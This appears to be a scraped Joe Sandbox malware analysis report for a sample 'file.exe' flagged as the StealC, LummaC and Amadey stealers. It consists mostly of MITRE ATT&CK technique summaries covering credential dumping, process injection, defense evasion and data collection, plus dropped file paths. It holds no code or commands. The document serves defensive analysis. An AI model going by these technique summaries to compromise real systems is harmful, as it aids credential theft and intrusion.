Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CGDBGCBGIDHCBGDHIEBF

C:\ProgramData\DAAAKFHI

C:\ProgramData\HCFBAFIDAECAKFHJDBAF

C:\ProgramData\IDHCGDAFBKFIDHJJJDHCBFBGHD

C:\ProgramData\JDGHIIJKEBGIDHIDBKJD

Windows Analysis Report
file.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre